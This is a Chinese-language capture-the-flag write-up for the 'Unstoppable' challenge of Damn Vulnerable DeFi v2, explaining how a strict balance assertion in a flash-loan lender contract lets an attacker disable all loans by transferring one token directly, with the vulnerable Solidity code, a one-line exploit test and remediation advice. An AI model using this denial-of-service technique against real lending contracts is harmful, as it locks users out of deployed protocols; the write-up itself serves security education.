01.unstoppable
2023-06-23 20:22:08 # 05.Damn Vulnerable DeFi v2 CTF

unstoppable

分析

整体分析

这是一道闪电贷的题目,UnstoppableLender合约有一个IERC20的状态变量,flashLoan方法提供在IERC20合约中的闪电贷服务,ReceiverUnstoppable合约是普通人进行闪电贷

测试文件这个代码说明:我们要让任何人都无法执行闪电贷,使UnstoppableLender合约的flashLoan方法报废reverte

1
2
3
4
5
6
7
8
9
after(async function () {
/** SUCCESS CONDITIONS */

// It is no longer possible to execute flash loans
await expect(
//这里会调用UnstoppableLender合约的flashLoan方法
this.receiverContract.executeFlashLoan(10)
).to.be.reverted;
});

测试代码分析

创建交易池UnstoppableLender合约,IERC20合约damnValuableToken。UnstoppableLender合约拥有一百万个IERC20代币,UnstoppableLender合约向attack用户转账100个IERC20代币。

DamnValuableToken合约是写好的,会自动检索到然后部署。这个合约给msg.sender mint 了max(uint256)个代币,也就是DamnValuableToken合约自身拥有max(uint256)个代币。然后approve授权给UnstoppableLender合约一百万个代币,然后转账。UnstoppableLender合约就拥有了一百万个代币

闪电贷代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function flashLoan(uint256 borrowAmount) external nonReentrant {
require(borrowAmount > 0, "Must borrow at least one token");

uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
require(balanceBefore >= borrowAmount, "Not enough tokens in pool");

// Ensured by the protocol via the `depositTokens` function
assert(poolBalance == balanceBefore);

damnValuableToken.transfer(msg.sender, borrowAmount);

IReceiver(msg.sender).receiveTokens(address(damnValuableToken), borrowAmount);

uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
}
  • 我们发现,这个方法里面先是获取了UnstoppableLender合约在IERC20合约中的余额:uint256 balanceBefore = damnValuableToken.balanceOf(address(this))
  • 判断UnstoppableLender合约在IERC20合约中的余额等于UnstoppableLender合约的poolBalance变量:assert(poolBalance == balanceBefore);
  • 但是poolBalance变量只有在别人通过depositTokens()方法,在IERC20合约中调用transferFrom()方法转移权益才会增加
  • 所以这个assert断言试图确保内部余额和外部余额始终相同,但是我们可以通过transfer()来给UnstoppableLender合约一点钱来打破平衡,因为transfer()不会更新poolBalance变量。正好题目创建的时候给attacker了100个代币:await this.token.transfer(attacker.address, INITIAL_ATTACKER_TOKEN_BALANCE);
  • 因此,我们用这个attack用户向UnstoppableLender合约transfer()0~100任意个代币即可通过本题

解题

1
2
3
4
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
await this.token.connect(attacker).transfer(this.pool.address, 1)
});

总结

  • assert语句仅用于通常在正常运行的代码中永远不会失败的静态验证被认为是最佳实践。在这种情况下,我们面对的不是正常运行或安全的代码,因此最好的办法是删除 assert 语句,避免拒绝服务漏洞。在一般情况下,建议将严格相等的“==”替换为“>=”或“<=”

  • 最佳实践,查看合约规范